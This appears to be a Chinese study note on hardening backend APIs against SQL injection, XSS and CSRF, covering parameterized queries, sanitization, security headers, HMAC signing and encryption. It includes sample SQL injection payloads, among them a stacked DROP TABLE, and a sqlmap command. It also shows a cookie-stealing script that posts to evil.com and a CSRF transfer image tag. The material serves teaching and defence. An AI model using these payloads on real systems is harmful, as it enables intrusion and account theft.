安全加固——你的 API 被黑客盯上了 / API Security Hardening Against Real Attacks
📅 创建时间:2026-05-08 🏷️ 标签:#SQL注入 #XSS #CSRF #参数签名 #数据加密 #渗透测试 📚 前置知识:[[00-backend-overview]] [[07-auth-security]](认证鉴权) [[16-api-design]](API 设计) 📚 相关知识:[[18-observability]](日志脱敏)
场景:你的登录接口被人爬了 100 万次
┌─────────────────────────────────────────────────────────────┐
│ │
│ 安全工程师:你的登录接口被刷了 100 万次。 │
│ │
│ 你:用户多,登录次数多很正常吧? │
│ 安全工程师:IP 都是同一个,User-Agent 都是空的。 │
│ 你:... │
│ │
│ 安全工程师:而且,黑客已经拿到了一批账号。 │
│ │
│ 你:怎么拿到的? │
│ 安全工程师:SQL 注入。 │
│ │
└─────────────────────────────────────────────────────────────┘这一章,我们理解 Web 安全的基础:注入防护、签名验证、数据加密。
第1节:SQL 注入——最常见的安全漏洞
场景:登录接口被 SQL 注入
sql
-- 你的登录 SQL(危险!)
SELECT * FROM users
WHERE username = '" + username + "' AND password = '" + password + "'"
-- 正常登录:
-- username = "admin", password = "123456"
-- SQL: SELECT * FROM users WHERE username = 'admin' AND password = '123456'
-- 结果:正确验证
-- SQL 注入攻击:
-- username = "admin' --"
-- SQL: SELECT * FROM users WHERE username = 'admin' --' AND password = 'xxx'
-- -- 后面的内容全部被注释掉!
-- 结果:不用密码也能登录!注入类型
┌─────────────────────────────────────────────────────────────┐
│ SQL 注入类型 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. 字符串注入 │
│ username = admin' -- │
│ 原理:单引号闭合,注释掉后面内容 │
│ │
│ 2. 联合查询注入 │
│ username = ' UNION SELECT * FROM users -- │
│ 原理:UNION 拼接恶意查询 │
│ │
│ 3. 布尔注入 │
│ username = "admin" AND 1=1 -- │
│ 原理:恒为真,绕过验证 │
│ │
│ 4. 报错注入 │
│ username = "admin' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT password FROM users LIMIT 1))) --"
│ 原理:通过错误信息获取数据 │
│ │
│ 5. 堆叠注入 │
│ username = "admin"; DROP TABLE users; -- │
│ 原理:分号执行多条 SQL │
│ │
└─────────────────────────────────────────────────────────────┘防护方案
python
# ❌ 危险:字符串拼接 SQL
query = f"SELECT * FROM users WHERE username = '{username}'"
db.execute(query) # SQL 注入漏洞!
# ✅ 安全:参数化查询
query = "SELECT * FROM users WHERE username = %s AND password = %s"
db.execute(query, (username, password)) # 参数自动转义
# ✅ 更安全:ORM(SQLAlchemy)
user = session.query(User).filter(
User.username == username,
User.password == password
).first()
# ✅ 查询构建器
query = db.select(User).where(
User.username == bindparam('username'),
User.password == bindparam('password')
).compile()SQL 注入检测
bash
# SQLMap 自动检测 SQL 注入
sqlmap -u "http://example.com/login" \
--data="username=admin&password=123456" \
--batch \
--level=5 \
--risk=3
# 手工检测
username = admin' OR '1'='1
username = admin' --
username = admin' AND '1'='2第2节:XSS 攻击——你的页面被执行了恶意脚本
场景:用户在评论区留了恶意代码
用户 A 在商品评论区发布:
<script>
document.location = 'http://evil.com/steal?cookie=' + document.cookie;
</script>
其他用户访问评论区时:
→ 恶意脚本被执行
→ Cookie 被发送到黑客服务器
→ 黑客拿到用户 A 的登录态XSS 类型
┌─────────────────────────────────────────────────────────────┐
│ XSS 类型 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. 存储型 XSS(最危险) │
│ → 恶意代码存入数据库 │
│ → 所有访问该页面的用户都会被攻击 │
│ → 评论区、个人资料、帖子内容 │
│ │
│ 2. 反射型 XSS │
│ → 恶意代码在 URL 参数中 │
│ → http://example.com/search?q=<script>...</script> │
│ → 用户点击链接时触发 │
│ │
│ 3. DOM 型 XSS │
│ → 前端 JS 直接解析 URL 参数 │
│ → document.write(location.hash) │
│ │
└─────────────────────────────────────────────────────────────┘防护方案
python
import html
import bleach
# Flask/Jinja2 默认转义,但要注意 mark_safe
@app.template_filter('escape')
def escape_filter(s):
return html.escape(str(s))
# 富文本内容(需要允许部分 HTML)
ALLOWED_TAGS = ['b', 'i', 'u', 'em', 'strong', 'a', 'p', 'br']
ALLOWED_ATTRIBUTES = {'a': ['href', 'title']}
def sanitize_html(content):
return bleach.clean(
content,
tags=ALLOWED_TAGS,
attributes=ALLOWED_ATTRIBUTES,
strip=True
)
# HTTP 响应头防护
@app.after_request
def add_security_headers(response):
# 防止 XSS(浏览器会阻止内联脚本执行)
response.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'self'"
# 防止点击劫持
response.headers['X-Frame-Options'] = 'DENY'
# 防止 MIME 类型 sniffing
response.headers['X-Content-Type-Options'] = 'nosniff'
return response第3节:CSRF 攻击——你的用户被诱导操作
场景:用户登录后访问了恶意网站
┌─────────────────────────────────────────────────────────────┐
│ │
│ 用户登录了 yoursite.com(保持登录态) │
│ │
│ 用户访问 evil.com(钓鱼网站) │
│ │
│ 钓鱼网站包含: │
│ <img src="http://yoursite.com/transfer?to=hacker&amount=10000"> │
│ │
│ 浏览器自动带上 Cookie │
│ → 转账请求被发送到 yoursite.com │
│ → 服务器认为是合法请求 │
│ → 转账成功! │
│ │
└─────────────────────────────────────────────────────────────┘防护方案
python
# 方案 1:CSRF Token
@app.route('/transfer', methods=['POST'])
def transfer():
# 验证 CSRF Token
token = request.form.get('csrf_token')
if token != session.get('csrf_token'):
abort(403, "CSRF token 无效")
# 业务逻辑
...
# 生成 Token
@app.context_processor
def csrf_token():
if 'csrf_token' not in session:
session['csrf_token'] = os.urandom(32).hex()
return dict(csrf_token=session['csrf_token'])
# 前端表单包含 Token
# <form>
# <input type="hidden" name="csrf_token" value="{{ csrf_token }}">
# ...
# </form>
# 方案 2:SameSite Cookie
response.set_cookie(
'session_id',
session_id,
samesite='Strict', # 完全禁止跨站携带
# 或
samesite='Lax' # GET 请求可以携带,POST 不行
)第4节:API 签名验证——防止请求被篡改
问题:请求参数被篡改
┌─────────────────────────────────────────────────────────────┐
│ │
│ 用户请求:GET /api/order?id=123&amount=100 │
│ │
│ 中间人篡改:GET /api/order?id=123&amount=1 │
│ │
│ 后端只验证了签名:sign=MD5(id+amount+secret) │
│ 改参数后:sign 变了 │
│ 但如果签名算法有漏洞呢? │
│ │
└─────────────────────────────────────────────────────────────┘签名验证实现
python
import hashlib
import time
import hmac
class APIAuth:
def __init__(self, secret_key):
self.secret_key = secret_key
def generate_signature(self, method, path, params, timestamp):
"""
签名生成算法:
1. 按字典序排序参数
2. 拼接成字符串
3. 拼接时间戳和路径
4. HMAC-SHA256 签名
"""
# 1. 排序参数
sorted_params = sorted(params.items(), key=lambda x: x[0])
param_str = '&'.join(f'{k}={v}' for k, v in sorted_params)
# 2. 拼接
message = f'{method}{path}{timestamp}{param_str}'
# 3. HMAC-SHA256
signature = hmac.new(
self.secret_key.encode(),
message.encode(),
hashlib.sha256
).hexdigest()
return signature
def verify_signature(self, request):
# 1. 验证时间戳(防重放)
timestamp = int(request.headers.get('X-Timestamp', 0))
if abs(time.time() - timestamp) > 300: # 5 分钟内
raise AuthError("请求已过期")
# 2. 验证签名
params = dict(request.args) if request.method == 'GET' else dict(request.form)
params.pop('sign', None)
expected_sign = self.generate_signature(
request.method,
request.path,
params,
timestamp
)
if not hmac.compare_digest(request.headers.get('X-Sign'), expected_sign):
raise AuthError("签名验证失败")
# API 认证中间件
@app.before_request
def verify_api_auth():
if request.path.startswith('/api/'):
auth = APIAuth(secret_key='your-secret-key')
auth.verify_signature(request)第5节:敏感数据保护
数据分类和处理
┌─────────────────────────────────────────────────────────────┐
│ 敏感数据分类 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 高度敏感(必须加密存储): │
│ • 密码(bcrypt hash,加盐) │
│ • 身份证号 │
│ • 银行卡号 │
│ • 密钥/Token │
│ │
│ 中度敏感(脱敏展示): │
│ • 手机号:138****5678 │
│ • 邮箱:a***@example.com │
│ • 地址:广东省深圳市*** │
│ │
│ 低敏感(可审计): │
│ • 真实姓名 │
│ • IP 地址 │
│ • 操作日志 │
│ │
└─────────────────────────────────────────────────────────────┘数据加密实现
python
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2
import base64
class DataEncryption:
def __init__(self, master_key):
# 从主密钥派生加密密钥
kdf = PBKDF2(
algorithm=hashes.SHA256(),
length=32,
salt=b'your-app-salt', # 生产环境要随机
iterations=100000,
)
key = base64.urlsafe_b64encode(kdf.derive(master_key.encode()))
self.cipher = Fernet(key)
def encrypt(self, data):
"""加密"""
return self.cipher.encrypt(data.encode()).decode()
def decrypt(self, encrypted_data):
"""解密"""
return self.cipher.decrypt(encrypted_data.encode()).decode()
def hash_password(self, password):
"""密码哈希(不可逆)"""
return bcrypt.hashpw(password.encode(), bcrypt.gensalt())
def verify_password(self, password, hashed):
"""验证密码"""
return bcrypt.checkpw(password.encode(), hashed)
# 使用示例
enc = DataEncryption('your-master-key')
# 加密存储
id_card_encrypted = enc.encrypt('440106199001011234')
user.id_card_encrypted = id_card_encrypted
# 脱敏展示
def mask_id_card(id_card):
return id_card[:4] + '****' + id_card[-4:]
# 日志脱敏
class SensitiveFilter(logging.Filter):
def filter(self, record):
if hasattr(record, 'msg') and isinstance(record.msg, dict):
msg = dict(record.msg)
for key in ['password', 'token', 'id_card', 'bank_card']:
if key in msg:
msg[key] = '***REDACTED***'
record.msg = msg
return True升华:安全是纵深防御
┌─────────────────────────────────────────────────────────────┐
│ 安全纵深防御原则 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 不要依赖单一防线。 │
│ │
│ 用户输入: │
│ 前端校验 → 后端校验 → 参数化查询 → 最小权限原则 │
│ │
│ 认证授权: │
│ 登录验证 → Token → 权限校验 → 操作审计 │
│ │
│ 数据保护: │
│ 传输加密(TLS) → 存储加密 → 脱敏展示 → 访问审计 │
│ │
│ 定期检查: │
│ 代码扫描 → 渗透测试 → 漏洞修复 → 安全培训 │
│ │
│ 一句话: │
│ 安全不是加一道防火墙,而是每一层都有防护。 │
│ │
└─────────────────────────────────────────────────────────────┘"AI 可查 vs 必须理解"清单
AI 可查:
✅ bcrypt / AES 的具体加密实现
✅ CSP 响应头的具体配置
✅ SQLMap 的使用方法
必须理解:
🔴 参数化查询为什么能防止 SQL 注入
🔴 存储型 XSS 和反射型 XSS 的区别
🔴 CSRF Token 的工作原理
🔴 签名验证的完整流程(防篡改 + 防重放)
🔴 密码必须用 bcrypt 等专用哈希算法学习状态:🟡 开始学习